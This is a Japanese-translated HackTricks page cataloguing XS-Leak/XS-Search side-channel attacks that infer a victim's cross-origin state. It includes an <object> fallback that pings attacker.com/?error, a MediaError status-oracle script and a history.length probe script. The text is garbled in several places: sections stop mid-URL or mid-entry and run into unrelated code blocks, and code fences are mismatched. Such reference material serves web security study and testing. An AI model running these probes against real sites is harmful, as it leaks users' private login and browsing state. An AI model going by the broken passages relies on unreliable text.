hacktricks/pentesting-web/xs-search.md

# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

**Trickest**を使用して、世界で**最も高度な**コミュニティツールを駆使した**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。

</details>

## **基本情報**

XS-Searchは、**サイドチャネル攻撃**を悪用して**クロスオリジン情報を抜き取る**ことに特化した技術です。

この種の攻撃にはいくつかの要素があります：

* **脆弱なWeb**：情報を抜き取りたいWebです
* **攻撃者のWeb**：攻撃者がエクスプロイトを含むWebを作成し、被害者がアクセスするWebです
* **インクルージョンメソッド**：攻撃者のWebから脆弱なWebを読み込むために使用される方法です（window.open、iframe、fetch、hrefを持つHTMLタグなど）
* **リーク技術**：脆弱なWebにアクセスした後、使用されたインクルージョンメソッドから得られた情報をもとに、Webの潜在的な状態を区別するための技術が使用されます。
* **状態**：被害者によって異なる可能性のある脆弱なWebの2つの可能な状態です。
* **検出可能な違い**：攻撃者が脆弱なWebの状態を判断しようとする情報です。

### 検出可能な違い

脆弱なページの2つの状態を区別するために、いくつかの点を見ることができます：

* **ステータスコード**。攻撃者はクロスオリジンで**異なるHTTPレスポンスステータスコード**を区別することができます（例：サーバーエラー、クライアントエラー、認証エラー）。
* **APIの使用**。この検出可能な違いにより、攻撃者はページ間で**Web APIの使用**を検出し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
* **リダイレクト**。Webアプリケーションがユーザーを別のページに**ナビゲートしたかどうか**を検出することが可能です。これにはHTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
* **ページコンテンツ**。これらの検出可能な**違いはHTTPレスポンスボディ自体**に現れるか、ページに含まれるサブリソースに現れます。例えば、これには**含まれるフレームの数**（cf. GitlabのXS-Leak）や画像のサイズの違いがあります。
* **HTTPヘッダー**。攻撃者は**特定のHTTPレスポンスヘッダー**の存在を検出し、その値を収集することができるかもしれません。これにはX-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
* **タイミング**：攻撃者は2つの状態の間に一貫した時間差が存在することを検出することができます。

### インクルージョンメソッド

* **HTML要素**。HTMLには、**クロスオリジンリソースのインクルージョン**を可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを強制します。この目的のための可能なHTML要素を列挙したリストはオンラインで利用可能です（[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)）。
* **フレーム**。**iframe**、**object**、**embed**などの要素は、攻撃者ページに直接HTMLリソースを埋め込むことができます。ページが**フレーミング保護を使用していない場合**、JavaScriptコードはcontentWindowプロパティを介してフレームリソースのwindowオブジェクトにアクセスできます。
* **ポップアップ**。**`window.open`**メソッドは、新しいブラウザタブまたはウィンドウでリソースをロードします。このメソッドは、JavaScriptコードがSOPに準拠したメソッドやプロパティにアクセスできる**ウィンドウハンドル**を返します。これらのいわゆるポップアップは、シングルサインオンでよく使用されます。最新のブラウザは、特定のユーザーインタラクションによってトリガーされた場合にのみポップアップを許可します。XS-Leak攻撃にとって、このメソッドは特に有用です。なぜなら、ターゲットリソースに対するフレーミングとクッキーの制限を**バイパスするからです**。新しいブラウザバージョンは最近、ウィンドウハンドルを隔離する手段を追加しました。
* **JavaScriptリクエスト**。JavaScriptを使用して、ターゲットリソースに直接リクエストを送信することができます。この目的のためには、**XMLHttpRequests**とその後継である**Fetch API**の2つの異なる方法があります。以前のインクルージョンメソッドとは対照的に、攻撃者は発行されるリクエストを細かく制御できます。たとえば、HTTPリダイレクトを自動的にフォローする必要があるかどうかです。

### リーク技術

* **イベントハンドラー**。イベントハンドラーは、XS-Leaksのための古典的なリーク技術と見なすことができます。それらは様々な情報の源泉としてよく知られています。例えば、**onload**のトリガーはリソースの**成功した**ローディングを示しますが、onerrorイベントとは対照的です。
* **エラーメッセージ**。イベントハンドラーを超えて、エラーメッセージは**JavaScript例外**や**特別なエラーページ**として発生することがあります。エラーメッセージは、例えばリーク技術によって直接投げられるなど、異なるステップで発生する可能性があります。リーク技術は、**エラーメッセージに直接**含まれている**追加情報**を使用するか、エラーメッセージの**出現と不在**を区別することができます。
* **グローバルリミット**。すべてのコンピュータには物理的な限界があり、ブラウザも同様です。例えば、利用可能なメモリの量はブラウザの実行中のタブの数を制限します。ブラウザ全体に適用される他のブラウザの制限も同様です。攻撃者が**リミットに達した時点を特定できる場合、これをリーク技術として使用できます**。
* **グローバルステート**。ブラウザには、すべてのページが対話できる**グローバルステートがあります**。この対話が攻撃者のウェブサイトから検出可能であれば、それをリーク技術として使用できます。例えば、**History**インターフェースはタブやフレームで訪れたページの操作を可能にします。これは、**エントリの数**によって攻撃者がクロスオリジンページについての結論を導くことができるため、グローバルステートを作り出します。
* **パフォーマンスAPI**。パフォーマンスAPIは、現在のページの**パフォーマンス情報にアクセスするために使用されます**。そのエントリには、ドキュメントとページによってロードされたすべてのリソースの詳細なネットワークタイミングデータが含まれています。これにより、攻撃者は**リクエストされたリソースについての結論を導くことができます**。例えば、ブラウザが一部のリクエストに対してパフォーマンスエントリを作成しないケースが特定されました。
* **読み取り可能な属性**。HTMLには、**クロスオリジンで読み取り可能ないくつかの属性があります**。この読み取りアクセスはリーク技術として使用できます。例えば、JavaScriptコードはwindow.frame.lengthプロパティを使用して、クロスオリジンでウェブページに含まれるフレームの数を読み取ることができます。

#### **タイミングに基づく技術**

以下のいくつかの技術は、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法はいくつかあります。

**クロック**：[performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、開発者は高解像度のタイミング測定を取得できます。\
攻撃者が暗黙のクロックを作成するために悪用できるAPIはかなりの数があります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
詳細については：[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)。

## XSinator

XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザを**チェックする自動ツール**です：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
ツールにアクセスするには：[https://xsinator.com/](https://xsinator.com/)

{% hint style="warning" %}
**除外されたXS-Leaks**：他のリークとの干渉を避けるために、**サービスワーカー**に依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションの誤設定やバグに依存するXS-Leaksを**除外することにしました**。例えば、CrossOrigin Resource Sharing（CORS）の誤設定、postMessageのリーク、またはCross-Site Scripting。さらに、時間に基づくXS-Leaksは、しばしば遅く、ノイズが多く、不正確であるため除外されました。
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
**Trickest**を使用して、世界で**最も高度な**コミュニティツールを駆使した**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## イベントハンドラー技術

### Onload/Onerror

* **インクルージョンメソッド**：フレーム、HTML要素
* **検出可能な違い**：ステータスコード
* **詳細情報**：[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
```markdown
この場合、`example.com/404`が見つからない場合は、`attacker.com/?error`がロードされます。

### Onload Timing

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (通常はページコンテンツ、ステータスコードによる)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** **[**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API** を使用して、リクエストを実行するのにかかる時間を測定できます。ただし、[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)など、他のクロックを使用することもできます。これは50ms以上実行されるタスクを識別できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 別の例はこちら:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

このテクニックは前述のものと同様ですが、**攻撃者**は**強制的に**何らかのアクションを行い、**肯定的または否定的な回答**がある場合にそれが**相応の時間を要する**ことを測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (通常はページコンテンツ、ステータスコードによる)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) を使用して、リクエストを実行するのにかかる時間を測定できます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) と [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) イベントは、リソースをフェッチするのにかかる時間を測定するために使用できます。これは、**`beforeunload`** がブラウザが**新しいナビゲーション**リクエストを要求するときにトリガーされ、**`unload`** がその**ナビゲーションが実際に発生する**ときにトリガーされるためです。この動作により、これら2つのイベント間の時間差を計算し、**ブラウザがリソースのフェッチを完了するのにかかった時間**を測定することができます。

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (通常はページコンテンツ、ステータスコードによる)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** **[performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API** を使用して、リクエストを実行するのにかかる時間を測定できます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

ページに[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)が実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上でロードされるのにかかる時間を計測できます。デフォルトでは、iframeの`onload`ハンドラは、すべてのリソースがロードされ、すべてのJavaScriptが実行を終了した後に呼び出されます。しかし、攻撃者は`<iframe>`に[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を含めることでスクリプト実行のノイズを排除できます。この属性はJavaScript実行を含む多くの機能をブロックし、ほぼ純粋なネットワーク測定を可能にします。

### #ID + error + onload

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary**: 正しいコンテンツにアクセスしたときにページがエラーを出し、任意のコンテンツにアクセスしたときに正しくロードされるようにすることができれば、時間を測定せずにすべての情報を抽出するループを作成できます。
* **Code Example**:

例えば、秘密のコンテンツがある**ページ**を**Iframe内に挿入**できるとします。

CSRFを悪用して、**Iframe**を使用して "_**flag**_" を含むファイルを**被害者に検索させる**ことができます。Iframe内では、_**onloadイベント**_が**少なくとも一度は常に実行される**ことがわかっています。その後、**URL**の**iframe**の**ハッシュ**内の**コンテンツ**のみを変更して**URL**を**変更**できます。

例:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

もし最初のURLが**正常にロードされた**場合、**ハッシュ**部分を**変更**しても**onload**イベントは**再度トリガーされません**。しかし、**ページがロード中に何らかの**エラー**があった場合**、**onload**イベントは**再度トリガーされます**。

そのため、**正しく**ロードされたページとアクセス時に**エラー**があるページを**区別**することができます。

### Javascript Execution

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary:** もし**ページ**が**機密**コンテンツを**返すか**、ユーザーによって**制御**可能な**コンテンツ**を返す場合、ユーザーは**否定的な場合に有効なJSコードを設定**し、各試行を**`<script>`**タグ内で**ロード**することができます。そのため、**否定的**な場合は攻撃者の**コード**が**実行され**、**肯定的**な場合は**何も**実行されません。
* **Code Example**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code & Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: 攻撃者は、_CORB protected_ `Content-Type`（および`nosniff`）を持つ`2xx`のステータスコードで返される応答がCORBによって本文とヘッダーがレスポンスから剥がされる場合に、CORBが施行されたことを観察できます。この保護を検出することにより、攻撃者は**ステータスコード**（成功対エラー）と**`Content-Type`（CORBによって保護されているかどうか）の組み合わせを**リーク**することができます。
* **Code Example**:

攻撃に関する詳細情報については、詳細情報リンクを確認してください。

### onblur

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: idまたはname属性から機密データをリークします。
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

iframe内に**ページをロード**し、**`#id_value`**を使用してiframeの要素に**フォーカス**させ、**`onblur`**シグナルがトリガーされた場合、ID要素が存在します。\
**`portal`**タグを使用して同じ攻撃を実行することもできます。

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してページ内のユーザーの状態を知る
* **Code Example**: `すべてのpostMessagesをリスニングする任意のコード。`

アプリケーションはしばしば、他のオリジンと情報を共有するために[postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用します。このメッセージをリスニングすることで、**機密情報**を見つけることができます（特に`targetOrigin`パラメータが使用されていない場合）。また、メッセージを受信する事実は**オラクルとして使用できます**（ログインしている場合にのみこの種のメッセージを受け取ります）。

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で**最も先進的な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。\
今すぐアクセス：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Global Limits Techniques

### WebSocket API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: WebSocket接続の制限を使い果たすことで、クロスオリジンページのWebSocket接続数をリークします。
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

ターゲットページが使用している**WebSocket接続の数**を特定することが可能です。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報をリークすることができます。

ある**オリジン**が**最大数のWebSocket**接続オブジェクトを使用している場合、接続状態に関係なく、**新しいオブジェクトの作成はJavaScript例外を引き起こします**。この攻撃を実行するために、攻撃者のウェブサイトはターゲットウェブサイトをポップアップまたはiframeで開き、ターゲットウェブがロードされた後、可能な限り最大数のWebSocket接続を作成しようとします。**スローされた例外の数**は、ターゲットウェブサイトウィンドウによって使用される**WebSocket接続の数**です。

### Payment API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: 一度にアクティブにできるのは1つの支払いリクエストのみなので、クロスオリジンページが支払いリクエストを開始したときを検出します。
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

このXS-Leakにより、攻撃者はクロスオリジンページが支払いリクエストを開始したときを検出できます。

**一度にアクティブにできる支払いリクエストは1つだけ**なので、ターゲットウェブサイトがPayment Request APIを使用している場合、**さらなる試みでこのAPIを表示しようとすると失敗**し、**JavaScript例外**を引き起こします。攻撃者は、**定期的にPayment API UIを表示しようとすることで**このことを悪用できます。作成直後にUIを即座に閉じることで、これらの定期的な試みを隠すことができます。

### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
```markdown
**`MediaError`** インターフェースの message プロパティには、**正常にロードされたリソースに対して異なる文字列が含まれています**。これにより、攻撃者はクロスオリジンリソースのレスポンスステータスを推測することができます。

### CORS エラー

* **組み込み方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **要約**: SA では CORS エラーメッセージがリダイレクトの完全な URL を漏洩します。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術を使用すると、攻撃者はクロスオリジンサイトによって開始されたリダイレクトのターゲットを漏洩させることができます。

CORS は、公開されているウェブリソースを任意のウェブサイトから読み取り、使用することを可能にします。Webkitベースのブラウザでは、CORSリクエストが失敗したときに**CORSエラーメッセージにアクセスすることが可能です**。攻撃者は、ユーザーの状態に基づいて**リダイレクト**するターゲットウェブサイトにCORSを有効にしたリクエストを送信することができます。ブラウザがリクエストを拒否すると、**リダイレクトターゲットの完全なURLがエラーメッセージに漏洩します**。この攻撃を使用すると、リダイレクトを検出し、リダイレクトの場所と機密性の高いクエリパラメータを漏洩させることが可能です。

### SRI エラー

* **組み込み方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **要約**: SA では CORS エラーメッセージがリダイレクトの完全な URL を漏洩します。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は、**詳細なエラーメッセージ**により、クロスオリジンレスポンスのサイズを漏洩させることができます。

integrity 属性は、ブラウザがフェッチしたリソースが改ざんされていないことを検証するための暗号ハッシュを定義します。このセキュリティメカニズムはサブリソースインテグリティ（SRI）と呼ばれます。これは、コンテンツ配信ネットワーク（CDN）から提供されるリソースの整合性検証に使用されます。データ漏洩を防ぐために、クロスオリジンリソースは**CORSを有効にする必要があります**。そうでなければ、レスポンスは整合性検証の対象とはなりません。CORSエラーXS-Leakと同様に、integrity属性を持つフェッチリクエストが失敗した後の**エラーメッセージをキャッチすることが可能です**。攻撃者は、**偽のハッシュ値を指定することで**この**エラーを意図的に** **トリガー**することができます。SAでは、このエラーメッセージがリクエストされたリソースのコンテンツの長さを漏洩します。攻撃者は、この漏洩を使用してレスポンスサイズの違いを検出し、強力なXS-Leak攻撃を実行することができます。

### CSP 違反/検出

* **組み込み方法**: ポップアップ
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **要約**: 被害者のウェブサイトのみをCSPで許可し、異なるドメインにリダイレクトしようとすると、CSPが検出可能なエラーを引き起こします。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-LeakはCSPを使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出することができます。この漏洩はリダイレクトを検出するだけでなく、リダイレクトターゲットのドメインも漏洩します。この攻撃の基本的な考え方は、攻撃者サイトで**ターゲットドメインを許可することです**。ターゲットドメインにリクエストを発行すると、それがクロスオリジンドメインに**リダイレクト**されます。**CSPが**それへのアクセスを**ブロック**し、**漏洩技術として使用される違反レポートを作成します**。ブラウザによっては、**このレポートがリダイレクトのターゲットの場所を漏洩する可能性があります**。\
現代のブラウザではリダイレクトされたURLは示されませんが、クロスオリジンリダイレクトがトリガーされたことを検出することはできます。

### キャッシュ

* **組み込み方法**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **要約**: キャッシュからファイルをクリアします。ターゲットページを開き、ファイルがキャッシュに存在するかどうかを確認します。
* **コード例**:

ブラウザはすべてのウェブサイトに対して共有キャッシュを使用する場合があります。その起源に関係なく、ターゲットページが**特定のファイルを要求したかどうか**を推測することが可能です。

ユーザーがログインしている場合にのみ画像をロードするページがある場合、その**リソースを無効にする**ことができます（詳細はリンクを参照してください。キャッシュされている場合はキャッシュされなくなります）、そのリソースをロードする可能性のあるリクエストを**実行し**、リソースを**不正なリクエストでロードしようとします**（例えば、長すぎるリファラーヘッダーを使用）。リソースのロードが**エラーを引き起こさなかった場合**、それは**キャッシュされていた**ためです。

### CSP ディレクティブ

* **組み込み方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **要約**: CSPヘッダーディレクティブは、iframe要素のCSP属性を使用して調査することができます。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

GCの新機能では、iframe要素に属性を設定することでウェブページがCSPを提案することができます。ポリシーディレクティブはHTTPリクエストと共に送信されます。通常、埋め込まれたコンテンツはHTTPヘッダーでこれを明示的に許可する必要があります。**そうでなければエラーページが表示されます**。ただし、iframeがすでにCSPを出荷しており、新しいポリシーがより厳格でない場合、ページは通常どおり表示されます。

これにより、攻撃者は、**エラーページを検出することが可能であれば**、クロスオリジンページの特定のCSPディレクティブを検出することができます。ただし、このバグは現在修正されたとマークされていますが、根本的な問題が修正されていないため、**エラーページを検出する新しい漏洩技術を見つけました**。

### **CORP**

* **組み込み方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **要約**: CORPで保護されたリソースは、フェッチされたときにエラーを投げます。
* **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORPヘッダーは、設定された場合、指定されたリソースへのno-corsクロスオリジンリクエストを**ブロックする**比較的新しいウェブプラットフォームのセキュリティ機能です。ヘッダーの存在は、CORPで保護されたリソースが**フェッチされたときにエラーを投げる**ため、検出することができます。

### CORB

* **組み込み方法**: HTML要素
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **要約**: CORBは攻撃者がリクエストに**`nosniff`ヘッダーが存在するかどうか**を検出することを可能にします。
* **コード例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

攻撃に関する詳細情報は、詳細情報リンクを確認してください。

### Origin Reflectionの誤設定によるCORSエラー <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **組み込み方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **要約**: Originヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、リソースが既にキャッシュにあるかどうかを確認することが可能です。
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

**Originヘッダー**が`Access-Control-Allow-Origin`ヘッダーに**反映されている**場合、攻撃者はこの振る舞いを悪用して**CORS**モードで**リソースをフェッチしようとする**ことができます。**エラーが** **トリガーされなかった場合**、それは**ウェブから正しく取得された**ことを意味します。エラーが**トリガーされた場合**、それは**キャッシュからアクセスされた**ためです（エラーは、キャッシュが攻撃者のドメインではなく元のドメインを許可するCORSヘッダーを持つレスポンスを保存するために表示されます）。\
Originが反映されていないがワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、これは機能しません。

## 読み取り可能な属性技術

### フェッチリダイレクト

* **組み込み方法**: Fetch API
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **要約**: GCとSAはリダイレクトが完了した後のレスポンスのタイプ（opaque-redirect）を確認することを許可
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### フレームカウント

* **含有方法**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **概要**: フレーム数（window.length）を読み取る。
